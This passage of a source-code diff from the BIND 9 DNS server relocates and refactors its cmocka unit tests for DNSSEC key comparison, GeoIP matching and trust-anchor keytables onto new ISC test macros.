+	isc_buffer_add(&b2, strlen(key2_name));
+	result = dns_name_fromtext(name2, &b2, dns_rootname, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = dst_key_fromfile(name2, key2_id, alg, type,
+				  TESTS_DIR "/comparekeys", mctx, &key2);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/*
+	 * Compare the keys (for public-only keys).
+	 */
+	if ((type & DST_TYPE_PRIVATE) == 0) {
+		assert_true(dst_key_pubcompare(key1, key2, false) == expect);
+	}
+
+	/*
+	 * Compare the keys (for both public-only keys and keypairs).
+	 */
+	assert_true(dst_key_compare(key1, key2) == expect);
+
+	/*
+	 * Free the keys
+	 */
+	dst_key_free(&key2);
+	dst_key_free(&key1);
+
+	return;
+}
+
+ISC_RUN_TEST_IMPL(cmp_test) {
+	struct {
+		const char *key1_name;
+		dns_keytag_t key1_id;
+		const char *key2_name;
+		dns_keytag_t key2_id;
+		dns_secalg_t alg;
+		int type;
+		bool expect;
+	} testcases[] = {
+		/* RSA Keypair: self */
+		{ "example.", 53461, "example.", 53461, DST_ALG_RSASHA256,
+		  DST_TYPE_PUBLIC | DST_TYPE_PRIVATE, true },
+
+		/* RSA Keypair: different key */
+		{ "example.", 53461, "example2.", 37993, DST_ALG_RSASHA256,
+		  DST_TYPE_PUBLIC | DST_TYPE_PRIVATE, false },
+
+		/* RSA Keypair: different PublicExponent (e) */
+		{ "example.", 53461, "example-e.", 53973, DST_ALG_RSASHA256,
+		  DST_TYPE_PUBLIC | DST_TYPE_PRIVATE, false },
+
+		/* RSA Keypair: different Modulus (n) */
+		{ "example.", 53461, "example-n.", 37464, DST_ALG_RSASHA256,
+		  DST_TYPE_PUBLIC | DST_TYPE_PRIVATE, false },
+
+		/* RSA Public Key: self */
+		{ "example.", 53461, "example.", 53461, DST_ALG_RSASHA256,
+		  DST_TYPE_PUBLIC, true },
+
+		/* RSA Public Key: different key */
+		{ "example.", 53461, "example2.", 37993, DST_ALG_RSASHA256,
+		  DST_TYPE_PUBLIC, false },
+
+		/* RSA Public Key: different PublicExponent (e) */
+		{ "example.", 53461, "example-e.", 53973, DST_ALG_RSASHA256,
+		  DST_TYPE_PUBLIC, false },
+
+		/* RSA Public Key: different Modulus (n) */
+		{ "example.", 53461, "example-n.", 37464, DST_ALG_RSASHA256,
+		  DST_TYPE_PUBLIC, false },
+
+		/* ECDSA Keypair: self */
+		{ "example.", 19786, "example.", 19786, DST_ALG_ECDSA256,
+		  DST_TYPE_PUBLIC | DST_TYPE_PRIVATE, true },
+
+		/* ECDSA Keypair: different key */
+		{ "example.", 19786, "example2.", 16384, DST_ALG_ECDSA256,
+		  DST_TYPE_PUBLIC | DST_TYPE_PRIVATE, false },
+
+		/* ECDSA Public Key: self */
+		{ "example.", 19786, "example.", 19786, DST_ALG_ECDSA256,
+		  DST_TYPE_PUBLIC, true },
+
+		/* ECDSA Public Key: different key */
+		{ "example.", 19786, "example2.", 16384, DST_ALG_ECDSA256,
+		  DST_TYPE_PUBLIC, false },
+
+		/* EdDSA Keypair: self */
+		{ "example.", 63663, "example.", 63663, DST_ALG_ED25519,
+		  DST_TYPE_PUBLIC | DST_TYPE_PRIVATE, true },
+
+		/* EdDSA Keypair: different key */
+		{ "example.", 63663, "example2.", 37529, DST_ALG_ED25519,
+		  DST_TYPE_PUBLIC | DST_TYPE_PRIVATE, false },
+
+		/* EdDSA Public Key: self */
+		{ "example.", 63663, "example.", 63663, DST_ALG_ED25519,
+		  DST_TYPE_PUBLIC, true },
+
+		/* EdDSA Public Key: different key */
+		{ "example.", 63663, "example2.", 37529, DST_ALG_ED25519,
+		  DST_TYPE_PUBLIC, false },
+	};
+	unsigned int i;
+
+	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
+		if (!dst_algorithm_supported(testcases[i].alg)) {
+			continue;
+		}
+
+		check_cmp(testcases[i].key1_name, testcases[i].key1_id,
+			  testcases[i].key2_name, testcases[i].key2_id,
+			  testcases[i].alg, testcases[i].type,
+			  testcases[i].expect);
+	}
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(sig_test, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(cmp_test, setup_test, teardown_test)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/geoip_test.c b/tests/dns/geoip_test.c
similarity index 86%
rename from lib/dns/tests/geoip_test.c
rename to tests/dns/geoip_test.c
index b7020ccc1d..d008117fbc 100644
--- a/lib/dns/tests/geoip_test.c
+++ b/tests/dns/geoip_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -24,18 +25,16 @@
 #include <cmocka.h>
 #include <maxminddb.h>
 
-#include <isc/print.h>
+#include <isc/dir.h>
 #include <isc/string.h>
 #include <isc/types.h>
 #include <isc/util.h>
 
 #include <dns/geoip.h>
 
-#include "../geoip2.c"
-#include "dnstest.h"
+#include "geoip2.c"
 
-/* Use GeoIP2 databases from the 'geoip2' system test */
-#define TEST_GEOIP_DATA "../../../bin/tests/system/geoip2/data"
+#include <tests/dns.h>
 
 static dns_geoip_databases_t geoip;
 
@@ -47,14 +46,9 @@ static void
 close_geoip(void);
 
 static int
-_setup(void **state) {
-	isc_result_t result;
-
+setup_test(void **state) {
 	UNUSED(state);
 
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
 	/* Use databases from the geoip system test */
 	load_geoip(TEST_GEOIP_DATA);
 
@@ -62,13 +56,11 @@ _setup(void **state) {
 }
 
 static int
-_teardown(void **state) {
+teardown_test(void **state) {
 	UNUSED(state);
 
 	close_geoip();
 
-	dns_test_end();
-
 	return (0);
 }
 
@@ -117,8 +109,7 @@ entry_exists(dns_geoip_subtype_t subtype, const char *addr) {
 	} else if (inet_pton(AF_INET, addr, &in4) == 1) {
 		isc_netaddr_fromin(&na, &in4);
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	db = geoip2_database(&geoip, fix_subtype(&geoip, subtype));
@@ -133,8 +124,7 @@ entry_exists(dns_geoip_subtype_t subtype, const char *addr) {
  * present in all databases, 192.0.2.128 should only be present in the country
  * database, ::1 should be absent from all databases).
  */
-static void
-baseline(void **state) {
+ISC_RUN_TEST_IMPL(baseline) {
 	dns_geoip_subtype_t subtype;
 
 	UNUSED(state);
@@ -212,8 +202,7 @@ do_lookup_string_v6(const char *addr, dns_geoip_subtype_t subtype,
 }
 
 /* GeoIP country matching */
-static void
-country(void **state) {
+ISC_RUN_TEST_IMPL(country) {
 	bool match;
 
 	UNUSED(state);
@@ -238,8 +227,7 @@ country(void **state) {
 }
 
 /* GeoIP country (ipv6) matching */
-static void
-country_v6(void **state) {
+ISC_RUN_TEST_IMPL(country_v6) {
 	bool match;
 
 	UNUSED(state);
@@ -258,8 +246,7 @@ country_v6(void **state) {
 }
 
 /* GeoIP city (ipv4) matching */
-static void
-city(void **state) {
+ISC_RUN_TEST_IMPL(city) {
 	bool match;
 
 	UNUSED(state);
@@ -296,8 +283,7 @@ city(void **state) {
 }
 
 /* GeoIP city (ipv6) matching */
-static void
-city_v6(void **state) {
+ISC_RUN_TEST_IMPL(city_v6) {
 	bool match;
 
 	UNUSED(state);
@@ -337,8 +323,7 @@ city_v6(void **state) {
 }
 
 /* GeoIP asnum matching */
-static void
-asnum(void **state) {
+ISC_RUN_TEST_IMPL(asnum) {
 	bool match;
 
 	UNUSED(state);
@@ -352,8 +337,7 @@ asnum(void **state) {
 }
 
 /* GeoIP isp matching */
-static void
-isp(void **state) {
+ISC_RUN_TEST_IMPL(isp) {
 	bool match;
 
 	UNUSED(state);
@@ -368,8 +352,7 @@ isp(void **state) {
 }
 
 /* GeoIP org matching */
-static void
-org(void **state) {
+ISC_RUN_TEST_IMPL(org) {
 	bool match;
 
 	UNUSED(state);
@@ -384,8 +367,7 @@ org(void **state) {
 }
 
 /* GeoIP domain matching */
-static void
-domain(void **state) {
+ISC_RUN_TEST_IMPL(domain) {
 	bool match;
 
 	UNUSED(state);
@@ -398,27 +380,16 @@ domain(void **state) {
 	assert_true(match);
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(baseline),   cmocka_unit_test(country),
-		cmocka_unit_test(country_v6), cmocka_unit_test(city),
-		cmocka_unit_test(city_v6),    cmocka_unit_test(asnum),
-		cmocka_unit_test(isp),	      cmocka_unit_test(org),
-		cmocka_unit_test(domain),
-	};
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* HAVE_CMOCKA */
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(baseline, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(country, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(country_v6, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(city, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(city_v6, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(asnum, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(isp, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(org, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(domain, setup_test, teardown_test)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/keytable_test.c b/tests/dns/keytable_test.c
similarity index 81%
rename from lib/dns/tests/keytable_test.c
rename to tests/dns/keytable_test.c
index 9d482d7bb6..2442876340 100644
--- a/lib/dns/tests/keytable_test.c
+++ b/tests/dns/keytable_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,6 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
 #include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
@@ -40,25 +40,18 @@
 
 #include <dst/dst.h>
 
-#include "dnstest.h"
+#include <tests/dns.h>
 
 static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
+setup_test(void **state) {
+	setup_loopmgr(state);
 
 	return (0);
 }
 
 static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
+teardown_test(void **state) {
+	teardown_loopmgr(state);
 
 	return (0);
 }
@@ -98,11 +91,9 @@ str2name(const char *namestr) {
 	static dns_fixedname_t fname;
 	static dns_name_t *name;
 	static isc_buffer_t namebuf;
-	void *deconst_namestr;
 
 	name = dns_fixedname_initname(&fname);
-	DE_CONST(namestr, deconst_namestr); /* OK, since we don't modify it */
-	isc_buffer_init(&namebuf, deconst_namestr, strlen(deconst_namestr));
+	isc_buffer_init(&namebuf, UNCONST(namestr), strlen(namestr));
 	isc_buffer_add(&namebuf, strlen(namestr));
 	assert_int_equal(
 		dns_name_fromtext(name, &namebuf, dns_rootname, 0, NULL),
@@ -121,7 +112,7 @@ create_keystruct(uint16_t flags, uint8_t proto, uint8_t alg, const char *keystr,
 
 	keystruct->common.rdclass = rdclass;
 	keystruct->common.rdtype = dns_rdatatype_dnskey;
-	keystruct->mctx = dt_mctx;
+	keystruct->mctx = mctx;
 	ISC_LINK_INIT(&keystruct->common, link);
 	keystruct->flags = flags;
 	keystruct->protocol = proto;
@@ -132,7 +123,7 @@ create_keystruct(uint16_t flags, uint8_t proto, uint8_t alg, const char *keystr,
 			 ISC_R_SUCCESS);
 	isc_buffer_usedregion(&keydatabuf, &r);
 	keystruct->datalen = r.length;
-	keystruct->data = isc_mem_allocate(dt_mctx, r.length);
+	keystruct->data = isc_mem_allocate(mctx, r.length);
 	memmove(keystruct->data, r.base, r.length);
 }
 
@@ -173,41 +164,38 @@ create_dsstruct(dns_name_t *name, uint16_t flags, uint8_t proto, uint8_t alg,
 /* Common setup: create a keytable and ntatable to test with a few keys */
 static void
 create_tables(void) {
-	isc_result_t result;
 	unsigned char digest[ISC_MAX_MD_SIZE];
 	dns_rdata_ds_t ds;
 	dns_fixedname_t fn;
 	dns_name_t *keyname = dns_fixedname_name(&fn);
-	isc_stdtime_t now;
-
-	result = dns_test_makeview("view", &view);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_stdtime_t now = isc_stdtime_now();
 
-	assert_int_equal(dns_keytable_create(dt_mctx, &keytable),
+	assert_int_equal(dns_test_makeview("view", false, false, &view),
 			 ISC_R_SUCCESS);
-	assert_int_equal(
-		dns_ntatable_create(view, taskmgr, timermgr, &ntatable),
-		ISC_R_SUCCESS);
+
+	dns_keytable_create(view, &keytable);
+	dns_ntatable_create(view, loopmgr, &ntatable);
 
 	/* Add a normal key */
-	dns_test_namefromstring("example.com", &fn);
+	dns_test_namefromstring("example.com.", &fn);
 	create_dsstruct(keyname, 257, 3, 5, keystr1, digest, &ds);
-	assert_int_equal(dns_keytable_add(keytable, false, false, keyname, &ds),
+	assert_int_equal(dns_keytable_add(keytable, false, false, keyname, &ds,
+					  NULL, NULL),
 			 ISC_R_SUCCESS);
 
 	/* Add an initializing managed key */
-	dns_test_namefromstring("managed.com", &fn);
+	dns_test_namefromstring("managed.com.", &fn);
 	create_dsstruct(keyname, 257, 3, 5, keystr1, digest, &ds);
-	assert_int_equal(dns_keytable_add(keytable, true, true, keyname, &ds),
+	assert_int_equal(dns_keytable_add(keytable, true, true, keyname, &ds,
+					  NULL, NULL),
 			 ISC_R_SUCCESS);
 
 	/* Add a null key */
-	assert_int_equal(dns_keytable_marksecure(keytable, str2name("null."
-								    "example")),
-			 ISC_R_SUCCESS);
+	assert_int_equal(
+		dns_keytable_marksecure(keytable, str2name("null.example")),
+		ISC_R_SUCCESS);
 
 	/* Add a negative trust anchor, duration 1 hour */
-	isc_stdtime_get(&now);
 	assert_int_equal(dns_ntatable_add(ntatable,
 					  str2name("insecure.example"), false,
 					  now, 3600),
@@ -217,6 +205,7 @@ create_tables(void) {
 static void
 destroy_tables(void) {
 	if (ntatable != NULL) {
+		dns_ntatable_shutdown(ntatable);
 		dns_ntatable_detach(&ntatable);
 	}
 	if (keytable != NULL) {
@@ -227,8 +216,7 @@ destroy_tables(void) {
 }
 
 /* add keys to the keytable */
-static void
-add_test(void **state) {
+ISC_LOOP_TEST_IMPL(add) {
 	dns_keynode_t *keynode = NULL;
 	dns_keynode_t *null_keynode = NULL;
 	unsigned char digest[ISC_MAX_MD_SIZE];
@@ -236,7 +224,7 @@ add_test(void **state) {
 	dns_fixedname_t fn;
 	dns_name_t *keyname = dns_fixedname_name(&fn);
 
-	UNUSED(state);
+	UNUSED(arg);
 
 	create_tables();
 
@@ -251,24 +239,26 @@ add_test(void **state) {
 	 * Try to add the same key.  This should have no effect but
 	 * report success.
 	 */
-	dns_test_namefromstring("example.com", &fn);
+	dns_test_namefromstring("example.com.", &fn);
 	create_dsstruct(keyname, 257, 3, 5, keystr1, digest, &ds);
-	assert_int_equal(dns_keytable_add(keytable, false, false, keyname, &ds),
+	assert_int_equal(dns_keytable_add(keytable, false, false, keyname, &ds,
+					  NULL, NULL),
 			 ISC_R_SUCCESS);
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 	assert_int_equal(
 		dns_keytable_find(keytable, str2name("example.com"), &keynode),
 		ISC_R_SUCCESS);
 
 	/* Add another key (different keydata) */
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 	create_dsstruct(keyname, 257, 3, 5, keystr2, digest, &ds);
-	assert_int_equal(dns_keytable_add(keytable, false, false, keyname, &ds),
+	assert_int_equal(dns_keytable_add(keytable, false, false, keyname, &ds,
+					  NULL, NULL),
 			 ISC_R_SUCCESS);
 	assert_int_equal(
 		dns_keytable_find(keytable, str2name("example.com"), &keynode),
 		ISC_R_SUCCESS);
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 
 	/*
 	 * Get the keynode for the managed.com key. Ensure the
@@ -281,22 +271,23 @@ add_test(void **state) {
 	assert_int_equal(dns_keynode_initial(keynode), true);
 	dns_keynode_trust(keynode);
 	assert_int_equal(dns_keynode_initial(keynode), false);
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 
 	/*
 	 * Add a different managed key for managed.com, marking it as an
 	 * initializing key. Since there is already a trusted key at the
 	 * node, the node should *not* be marked as initializing.
 	 */
-	dns_test_namefromstring("managed.com", &fn);
+	dns_test_namefromstring("managed.com.", &fn);
 	create_dsstruct(keyname, 257, 3, 5, keystr2, digest, &ds);
-	assert_int_equal(dns_keytable_add(keytable, true, true, keyname, &ds),
+	assert_int_equal(dns_keytable_add(keytable, true, true, keyname, &ds,
+					  NULL, NULL),
 			 ISC_R_SUCCESS);
 	assert_int_equal(
 		dns_keytable_find(keytable, str2name("managed.com"), &keynode),
 		ISC_R_SUCCESS);
 	assert_int_equal(dns_keynode_initial(keynode), false);
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 
 	/*
 	 * Add the same managed key again, but this time mark it as a
@@ -304,27 +295,29 @@ add_test(void **state) {
 	 * to a non-initializing key and make sure there are still two key
 	 * nodes for managed.com, both containing non-initializing keys.
 	 */
-	assert_int_equal(dns_keytable_add(keytable, true, false, keyname, &ds),
+	assert_int_equal(dns_keytable_add(keytable, true, false, keyname, &ds,
+					  NULL, NULL),
 			 ISC_R_SUCCESS);
 	assert_int_equal(
 		dns_keytable_find(keytable, str2name("managed.com"), &keynode),
 		ISC_R_SUCCESS);
 	assert_int_equal(dns_keynode_initial(keynode), false);
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 
 	/*
 	 * Add a managed key at a new node, two.com, marking it as an
 	 * initializing key.
 	 */
-	dns_test_namefromstring("two.com", &fn);
+	dns_test_namefromstring("two.com.", &fn);
 	create_dsstruct(keyname, 257, 3, 5, keystr1, digest, &ds);
-	assert_int_equal(dns_keytable_add(keytable, true, true, keyname, &ds),
+	assert_int_equal(dns_keytable_add(keytable, true, true, keyname, &ds,
+					  NULL, NULL),
 			 ISC_R_SUCCESS);
 	assert_int_equal(
 		dns_keytable_find(keytable, str2name("two.com"), &keynode),
 		ISC_R_SUCCESS);
 	assert_int_equal(dns_keynode_initial(keynode), true);
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 
 	/*
 	 * Add a different managed key for two.com, marking it as a
@@ -333,13 +326,14 @@ add_test(void **state) {
 	 * the initialization status should not change.
 	 */
 	create_dsstruct(keyname, 257, 3, 5, keystr2, digest, &ds);
-	assert_int_equal(dns_keytable_add(keytable, true, false, keyname, &ds),
+	assert_int_equal(dns_keytable_add(keytable, true, false, keyname, &ds,
+					  NULL, NULL),
 			 ISC_R_SUCCESS);
 	assert_int_equal(
 		dns_keytable_find(keytable, str2name("two.com"), &keynode),
 		ISC_R_SUCCESS);
 	assert_int_equal(dns_keynode_initial(keynode), true);
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 
 	/*
 	 * Add a normal key to a name that has a null key.  The null key node
@@ -348,15 +342,16 @@ add_test(void **state) {
 	assert_int_equal(dns_keytable_find(keytable, str2name("null.example"),
 					   &null_keynode),
 			 ISC_R_SUCCESS);
-	dns_test_namefromstring("null.example", &fn);
+	dns_test_namefromstring("null.example.", &fn);
 	create_dsstruct(keyname, 257, 3, 5, keystr2, digest, &ds);
-	assert_int_equal(dns_keytable_add(keytable, false, false, keyname, &ds),
+	assert_int_equal(dns_keytable_add(keytable, false, false, keyname, &ds,
+					  NULL, NULL),
 			 ISC_R_SUCCESS);
 	assert_int_equal(
 		dns_keytable_find(keytable, str2name("null.example"), &keynode),
 		ISC_R_SUCCESS);
 	assert_ptr_equal(keynode, null_keynode); /* should be the same node */
-	dns_keytable_detachkeynode(keytable, &null_keynode);
+	dns_keynode_detach(&null_keynode);
 
 	/*
 	 * Try to add a null key to a name that already has a key.  It's
@@ -364,75 +359,80 @@ add_test(void **state) {
 	 * (Note: this and above checks confirm that if a name has a null key
 	 * that's the only key for the name).
 	 */
-	assert_int_equal(dns_keytable_marksecure(keytable, str2name("null."
-								    "example")),
-			 ISC_R_SUCCESS);
+	assert_int_equal(
+		dns_keytable_marksecure(keytable, str2name("null.example")),
+		ISC_R_SUCCESS);
 	assert_int_equal(dns_keytable_find(keytable, str2name("null.example"),
 					   &null_keynode),
 			 ISC_R_SUCCESS);
 	assert_ptr_equal(keynode, null_keynode);
-	dns_keytable_detachkeynode(keytable, &null_keynode);
+	dns_keynode_detach(&null_keynode);
 
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 	destroy_tables();
+
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 /* delete keys from the keytable */
-static void
-delete_test(void **state) {
-	UNUSED(state);
+ISC_LOOP_TEST_IMPL(delete) {
+	UNUSED(arg);
 
 	create_tables();
 
 	/* dns_keytable_delete requires exact match */
-	assert_int_equal(dns_keytable_delete(keytable, str2name("example.org")),
+	assert_int_equal(dns_keytable_delete(keytable, str2name("example.org"),
+					     NULL, NULL),
 			 ISC_R_NOTFOUND);
-	assert_int_equal(dns_keytable_delete(keytable, str2name("s.example."
-								"com")),
+	assert_int_equal(dns_keytable_delete(keytable,
+					     str2name("s.example.com"), NULL,
+					     NULL),
 			 ISC_R_NOTFOUND);
-	assert_int_equal(dns_keytable_delete(keytable, str2name("example.com")),
+	assert_int_equal(dns_keytable_delete(keytable, str2name("example.com"),
+					     NULL, NULL),
 			 ISC_R_SUCCESS);
 
 	/* works also for nodes with a null key */
-	assert_int_equal(dns_keytable_delete(keytable, str2name("null."
-								"example")),
+	assert_int_equal(dns_keytable_delete(keytable, str2name("null.example"),
+					     NULL, NULL),
 			 ISC_R_SUCCESS);
 
 	/* or a negative trust anchor */
-	assert_int_equal(dns_ntatable_delete(ntatable, str2name("insecure."
-								"example")),
-			 ISC_R_SUCCESS);
+	assert_int_equal(
+		dns_ntatable_delete(ntatable, str2name("insecure.example")),
+		ISC_R_SUCCESS);
 
 	destroy_tables();
+
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 /* delete key nodes from the keytable */
-static void
-deletekey_test(void **state) {
+ISC_LOOP_TEST_IMPL(deletekey) {
 	dns_rdata_dnskey_t dnskey;
 	dns_fixedname_t fn;
 	dns_name_t *keyname = dns_fixedname_name(&fn);
 
-	UNUSED(state);
+	UNUSED(arg);
 
 	create_tables();
 
 	/* key name doesn't match */
-	dns_test_namefromstring("example.org", &fn);
+	dns_test_namefromstring("example.org.", &fn);
 	create_keystruct(257, 3, 5, keystr1, &dnskey);
 	assert_int_equal(dns_keytable_deletekey(keytable, keyname, &dnskey),
 			 ISC_R_NOTFOUND);
 	dns_rdata_freestruct(&dnskey);
 
 	/* subdomain match is the same as no match */
-	dns_test_namefromstring("sub.example.org", &fn);
+	dns_test_namefromstring("sub.example.org.", &fn);
 	create_keystruct(257, 3, 5, keystr1, &dnskey);
 	assert_int_equal(dns_keytable_deletekey(keytable, keyname, &dnskey),
 			 ISC_R_NOTFOUND);
 	dns_rdata_freestruct(&dnskey);
 
 	/* name matches but key doesn't match (resulting in PARTIALMATCH) */
-	dns_test_namefromstring("example.com", &fn);
+	dns_test_namefromstring("example.com.", &fn);
 	create_keystruct(257, 3, 5, keystr2, &dnskey);
 	assert_int_equal(dns_keytable_deletekey(keytable, keyname, &dnskey),
 			 DNS_R_PARTIALMATCH);
@@ -453,7 +453,8 @@ deletekey_test(void **state) {
 	 * after deleting the node, any deletekey or delete attempt should
 	 * result in NOTFOUND.
 	 */
-	assert_int_equal(dns_keytable_delete(keytable, keyname), ISC_R_SUCCESS);
+	assert_int_equal(dns_keytable_delete(keytable, keyname, NULL, NULL),
+			 ISC_R_SUCCESS);
 	assert_int_equal(dns_keytable_deletekey(keytable, keyname, &dnskey),
 			 ISC_R_NOTFOUND);
 	dns_rdata_freestruct(&dnskey);
@@ -462,24 +463,26 @@ deletekey_test(void **state) {
 	 * A null key node for a name is not deleted when searched by key;
 	 * it must be deleted by dns_keytable_delete()
 	 */
-	dns_test_namefromstring("null.example", &fn);
+	dns_test_namefromstring("null.example.", &fn);
 	create_keystruct(257, 3, 5, keystr1, &dnskey);
 	assert_int_equal(dns_keytable_deletekey(keytable, keyname, &dnskey),
 			 DNS_R_PARTIALMATCH);
-	assert_int_equal(dns_keytable_delete(keytable, keyname), ISC_R_SUCCESS);
+	assert_int_equal(dns_keytable_delete(keytable, keyname, NULL, NULL),
+			 ISC_R_SUCCESS);
 	dns_rdata_freestruct(&dnskey);
 
 	destroy_tables();
+
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 /* check find-variant operations */
-static void
-find_test(void **state) {
+ISC_LOOP_TEST_IMPL(find) {
 	dns_keynode_t *keynode = NULL;
 	dns_fixedname_t fname;
 	dns_name_t *name;
 
-	UNUSED(state);
+	UNUSED(arg);
 
 	create_tables();
 
@@ -497,11 +500,11 @@ find_test(void **state) {
 	assert_int_equal(
 		dns_keytable_find(keytable, str2name("example.com"), &keynode),
 		ISC_R_SUCCESS);
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 	assert_int_equal(
 		dns_keytable_find(keytable, str2name("null.example"), &keynode),
 		ISC_R_SUCCESS);
-	dns_keytable_detachkeynode(keytable, &keynode);
+	dns_keynode_detach(&keynode);
 
 	/*
 	 * dns_keytable_finddeepestmatch() allows partial match.  Also match
@@ -525,17 +528,18 @@ find_test(void **state) {
 	assert_true(dns_name_equal(name, str2name("null.example")));
 
 	destroy_tables();
+
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 /* check issecuredomain() */
-static void
-issecuredomain_test(void **state) {
+ISC_LOOP_TEST_IMPL(issecuredomain) {
 	bool issecure;
 	const char **n;
 	const char *names[] = { "example.com", "sub.example.com",
 				"null.example", "sub.null.example", NULL };
 
-	UNUSED(state);
+	UNUSED(arg);
 	create_tables();
 
 	/*
@@ -563,14 +567,15 @@ issecuredomain_test(void **state) {
 	assert_false(issecure);
 
 	destroy_tables();
+
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 /* check dns_keytable_dump() */
-static void
-dump_test(void **state) {
+ISC_LOOP_TEST_IMPL(dump) {
 	FILE *f = fopen("/dev/null", "w");
 
-	UNUSED(state);
+	UNUSED(arg);
 
 	create_tables();
 
@@ -582,11 +587,12 @@ dump_test(void **state) {
 	fclose(f);
 
 	destroy_tables();
+
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 /* check negative trust anchors */
-static void
-nta_test(void **state) {
+ISC_LOOP_TEST_IMPL(nta) {
 	isc_result_t result;
 	bool issecure, covered;
 	dns_fixedname_t fn;
@@ -594,32 +600,26 @@ nta_test(void **state) {
 	unsigned char digest[ISC_MAX_MD_SIZE];
 	dns_rdata_ds_t ds;
 	dns_view_t *myview = NULL;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 
-	UNUSED(state);
-
-	result = dns_test_makeview("view", &myview);
+	result = dns_test_makeview("view", false, false, &myview);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
-	result = isc_task_create(taskmgr, 0, &myview->task);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_view_initsecroots(myview);
 
-	result = dns_view_initsecroots(myview, dt_mctx);
-	assert_int_equal(result, ISC_R_SUCCESS);
 	result = dns_view_getsecroots(myview, &keytable);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
-	result = dns_view_initntatable(myview, taskmgr, timermgr);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_view_initntatable(myview, loopmgr);
 	result = dns_view_getntatable(myview, &ntatable);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
-	dns_test_namefromstring("example", &fn);
+	dns_test_namefromstring("example.", &fn);
 	create_dsstruct(keyname, 257, 3, 5, keystr1, digest, &ds);
-	result = dns_keytable_add(keytable, false, false, keyname, &ds),
+	result = dns_keytable_add(keytable, false, false, keyname, &ds, NULL,
+				  NULL),
 	assert_int_equal(result, ISC_R_SUCCESS);
 
-	isc_stdtime_get(&now);
 	result = dns_ntatable_add(ntatable, str2name("insecure.example"), false,
 				  now, 1);
 	assert_int_equal(result, ISC_R_SUCCESS);
@@ -684,35 +684,22 @@ nta_test(void **state) {
 	assert_false(covered);
 	assert_true(issecure);
 
+	isc_loopmgr_shutdown(loopmgr);
+
 	/* Clean up */
 	dns_ntatable_detach(&ntatable);
 	dns_keytable_detach(&keytable);
 	dns_view_detach(&myview);
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(add_test),
